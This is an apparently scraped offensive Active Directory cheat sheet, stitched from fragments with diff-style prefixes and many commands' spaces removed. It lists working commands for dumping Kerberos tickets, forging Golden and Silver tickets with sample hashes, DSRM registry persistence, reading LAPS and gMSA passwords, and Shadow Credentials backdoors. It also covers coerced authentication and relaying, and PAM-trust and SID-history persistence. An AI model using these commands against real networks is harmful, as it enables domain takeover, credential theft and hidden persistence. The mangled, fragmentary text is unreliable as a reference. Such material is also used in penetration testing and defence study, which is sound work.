Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.
+
There are two types of tickets in Kerberos:
+
+
+
Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
+
+
+
Service Ticket (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.
+
+
+
Dump Kerberos Tickets
+
+
Mimikatz: sekurlsa::tickets /export
+
Rubeus
+
# List available tickets
+Rubeus.exetriage
+
+# Dump one ticket, the output is in Kirbi format
+Rubeus.exedump/luid:0x12d1f7
+
netexec: KRB5CCNAME=/tmp/administrator.ccache netexec smb 10.10.10 -u user --use-kcache
+
+
Convert Kerberos Tickets
+
In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.
+
+
+
A credential cache, or "ccache" is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
+
+
+
The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a "kirbi" cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.
+
+
+
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:
Forging a TGT require:
+* the krbtgt NT hash
+* since recently, we cannot use a non-existent account name as a result of CVE-2021-42287 mitigations
+
+
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.
+
+
Using Mimikatz
+
# Get info - Mimikatz
+lsadump::lsa/inject/name:krbtgt
+lsadump::lsa/patch
+lsadump::trust/patch
+lsadump::dcsync/user:krbtgt
+
+# Forge a Golden ticket - Mimikatz
+kerberos::purge
+kerberos::golden/user:evil/domain:pentestlab.local/sid:S-1-5-21-3737340914-2019594255-2413685307/krbtgt:d125e4f69c851529045ec95ca80fa37e/ticket:evil.tck/ptt
+kerberos::tgt
+
+
Using Meterpreter
+
# Get info - Meterpreter(kiwi)
+dcsync_ntlmkrbtgt
+dcsynckrbtgt
+
+# Forge a Golden ticket - Meterpreter
+loadkiwi
+golden_ticket_create-d<domainname>-k<nthashofkrbtgt>-s<SIDwithoutleRID>-u<user_for_the_ticket>-t<location_to_store_tck>
+golden_ticket_create-dpentestlab.local-upentestlabuser-sS-1-5-21-3737340914-2019594255-2413685307-kd125e4f69c851529045ec95ca80fa37e-t/root/Downloads/pentestlabuser.tck
+kerberos_ticket_purge
+kerberos_ticket_use/root/Downloads/pentestlabuser.tck
+kerberos_ticket_list
+
+
Using a ticket on Linux
+
# Convert the ticket kirbi to ccache with kekeo
+misc::convertccacheticket.kirbi
+
+# Alternatively you can use ticketer from Impacket
+./ticketer.py-nthasha577fcf16cfef780a2ceb343ec39a0d9-domain-sidS-1-5-21-2972629792-1506071460-1188933728-domainamity.localmbrody-da
+
+ticketer.py-nthashHASHKRBTGT-domain-sidSID_DOMAIN_A-domainDEVAdministrator-extra-sidSID_DOMAIN_B_ENTERPRISE_519
+./ticketer.py-nthashe65b41757ea496c2c60e82c05ba8b373-domain-sidS-1-5-21-354401377-2576014548-1758765946-domainDEVAdministrator-extra-sidS-1-5-21-2992845451-2057077057-2526624608-519
+
+exportKRB5CCNAME=/home/user/ticket.ccache
+cat $KRB5CCNAME
+
+# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
+./psexec.py-k-no-pass-dc-ip192.168.1.1AD/administrator@192.168.1.100
+
+
If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.
Mimikatz generate a golden ticket with a life-span of 10 years
+
+
Pass-the-Ticket Silver Tickets
+
Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.
+
# Create a ticket for the service
+mimikatz$kerberos::golden/user:USERNAME/domain:DOMAIN.FQDN/sid:DOMAIN-SID/target:TARGET-HOST.DOMAIN.FQDN/rc4:TARGET-MACHINE-NT-HASH/service:SERVICE
+
+# Examples
+mimikatz$/kerberos::golden/domain:adsec.local/user:ANY/sid:S-1-5-21-1423455951-1752654185-1824483205/rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/target:DESKTOP-01.adsec.local/service:cifs/ptt
+mimikatz$kerberos::golden/domain:jurassic.park/sid:S-1-5-21-1339291983-1349129144-367733775/rc4:b18b4b218eccad1c223306ea1916885f/user:stegosaurus/service:cifs/target:labwws02.jurassic.park
+
+# Then use the same steps as a Golden ticket
+mimikatz$misc::convertccacheticket.kirbi
+
+root@kali:/tmp$exportKRB5CCNAME=/home/user/ticket.ccache
+root@kali:/tmp$./psexec.py-k-no-pass-dc-ip192.168.1.1AD/administrator@192.168.1.100
+
+
Interesting services to target with a silver ticket :
+
+
+
+
Service Type
+
Service Silver Tickets
+
Attack
+
+
+
+
+
WMI
+
HOST + RPCSS
+
wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
# baduser argument will be ignored
+ticketer.py-request-impersonate'domain_adm'-domain'lab.local'-user'domain_user'-password'password'-aesKey'krbtgt/service AES key'-domain-sid'S-1-5-21-...''baduser'
+
Get-WmiObject-ClassWin32_UserAccount-Filter"Domain='COMPANYDOMAIN' AND Disabled='False'"|Select Name,Domain,Status,LocalAccount,AccountType,Lockout,PasswordRequired,PasswordChangeable,Description,SID
+
Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
+
+
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
+
Invoke-Mimikatz-Command'"token::elevate" "lsadump::sam"'
+
+# Check if the key exists and get the value
+Get-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-nameDsrmAdminLogonBehavior
+
+# Create key with value "2" if it doesn't exist
+New-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-nameDsrmAdminLogonBehavior-value2-PropertyTypeDWORD
+
+# Change value to "2"
+Set-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-nameDsrmAdminLogonBehavior-value2
+
Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.
When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.
+
# Create a machine with default password
+# must be run from a domain joined device connected to the domain
+djoin/PROVISION/DOMAIN<fqdn>/MACHINEevilpc/SAVEFILEC:\temp\evilpc.txt/DEFPWD/PRINTBLOB/NETBIOSevilpc
+
+
+
When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
+
+
GMSA Attributes in the Active Directory
+
+
msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
+
msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
+
msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
+
msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
# Use --lsa to get GMSA ID
+netexecldapdomain.lab-uuser-p'PWD'--gmsa-convert-id00[...]99
+netexecldapdomain.lab-uuser-p'PWD'--gmsa-decrypt-lsa'_SC_GMSA_{[...]}_.....'
+
One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
+
+
You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
+ - Windows/Linux:
+
# Read the password of all computers
+./pyLAPS.py--actionget-u'Administrator'-d'LAB.local'-p'Admin123!'--dc-ip192.168.2.1
+# Write a random password to a specific computer
+./pyLAPS.py--actionset--computer'PC01$'-u'Administrator'-d'LAB.local'-p'Admin123!'--dc-ip192.168.2.1
+
The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password
Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
+
+
User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
+
Requirements:
+
+
Domain Controller on (at least) Windows Server 2016
+
Domain must have Active Directory Certificate Services and Certificate Authority configured
+
PKINIT Kerberos authentication
+
An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+Whisker.exelist/target:computername$
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+Whisker.exeadd/target:"TARGET_SAMNAME"/domain:"FQDN_DOMAIN"/dc:"DOMAIN_CONTROLLER"/path:"cert.pfx"/password:"pfx-password"
+Whisker.exeadd/target:computername$[/domain:constoso.local/dc:dc1.contoso.local/path:C:\path\to\file.pfx/password:P@ssword1]
+# Removes a key credential from the target object specified by a DeviceID GUID.
+Whisker.exeremove/target:computername$/domain:constoso.local/dc:dc1.contoso.local/remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
+
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+python3pywhisker.py-d"domain.local"-u"user1"-p"complexpassword"--target"user2"--action"list"
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+pywhisker.py-d"FQDN_DOMAIN"-u"user1"-p"CERTIFICATE_PASSWORD"--target"TARGET_SAMNAME"--action"list"
+python3pywhisker.py-d"domain.local"-u"user1"-p"complexpassword"--target"user2"--action"add"--filename"test1"
+# Removes a key credential from the target object specified by a DeviceID GUID.
+python3pywhisker.py-d"domain.local"-u"user1"-p"complexpassword"--target"user2"--action"remove"--device-id"a8ce856e-9b58-61f9-8fd3-b079689eb46e"
+
+
+
Scenario
+
Shadow Credential Relaying
+
+
Trigger an NTLM authentication from DC01 (PetitPotam)
+
Relay it to DC02 (ntlmrelayx)
+
Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
Trigger a callback on webdav: proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file
+
Use PKINIT to get a TGT for the machine account: proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>
+
Elevate your privileges by creating a service ticket impersonating a local admin: proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v
+
Use your ticket: export KRB5CCNAME=/path/to/administrator_target.ccache; proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab
Using ropnop/kerbrute, a tool to perform Kerberos pre-auth bruteforcing.
+
+
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
+
+
Requirements:
+* Windows Server 2016 or earlier
+
If we compromise the bastion we get Domain Admins privileges on the other domain
+
+
Default configuration for PAM Trust
+
# execute on our forest
+netdomtrustlab.local/domain:bastion.local/ForestTransitive:Yes
+netdomtrustlab.local/domain:bastion.local/EnableSIDHistory:Yes
+netdomtrustlab.local/domain:bastion.local/EnablePIMTrust:Yes
+netdomtrustlab.local/domain:bastion.local/Quarantine:No
+# execute on our bastion
+netdomtrustbastion.local/domain:lab.local/ForestTransitive:Yes
+
+
Enumerate PAM trusts
+
# Detect if current forest is PAM trust
+ImportADModule
+Get-ADTrust-Filter{(ForestTransitive-eq$True)-and(SIDFilteringQuarantined-eq$False)}
+
+# Enumerate shadow security principals
+Get-ADObject-SearchBase("CN=Shadow Principal Configuration,CN=Services,"+(Get-ADRootDSE).configurationNamingContext)-Filter*-Properties*|select Name,member,msDS-ShadowPrincipalSid|fl
+
+# Enumerate if current forest is managed by a bastion forest
+# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
+Get-ADTrust-Filter{(ForestTransitive-eq$True)}
+
+
Compromise
+
Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
+
Using SID History
+
+
+
Persistence
+
Windows/Linux:
+
bloodyAD--host10.1.0.4-ujohn.doe-p'Password123!'-dbloodyaddgroupMember'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local'Administrator
+
+
Windows only:
+
# Add a compromised user to the group
+Set-ADObject-Identity"CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local"-Add@{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
+
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
+Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.
+
Dumping trust passwords (trust keys)
+
+
Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.
You need a shell on a user account with a mailbox.
GPO Priorization : Organization Unit > Domain > Site > Local
Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.